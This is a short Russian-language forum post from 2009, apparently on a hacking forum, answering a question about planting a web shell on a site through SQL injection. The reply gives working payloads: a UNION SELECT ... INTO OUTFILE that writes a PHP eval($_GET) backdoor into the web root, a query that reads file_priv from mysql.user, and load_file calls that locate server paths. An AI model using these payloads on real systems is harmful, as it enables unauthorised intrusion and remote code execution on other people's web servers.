
08.01.2009, 20:18
|
|
Участник форума
Регистрация: 18.05.2008
Сообщений: 130
Провел на форуме: 1113633
Репутация:
155
|
|
Сообщение от UgMan
Может кто-нить показать на примере (любом, хоть одном из тех, что здесь выкладывают), как через скуль залить шелл ? Не через админку , а именно через скуль (into+outfile конструкция вроде используется или как там?).
хз..по моему это редкость..
надо чтобы был включён файл прив и кавычки не фильтруются и ещё путь к корюн чтобы знать..
в общем примерно так +union+select+'<?php eval($_GET[‘e’]) ?>'+into+outfile+'/путь к корню сайта'--
файл прив проверять так
+union+select+1,file_priv+from+mysql.user--
путь к сайту иногда даётся так +union+select+1,load_file('/')--
иногда может быть в конфиге апача..
забыл в каких местах конфиги хранятся..на форуме есть..
|
|
|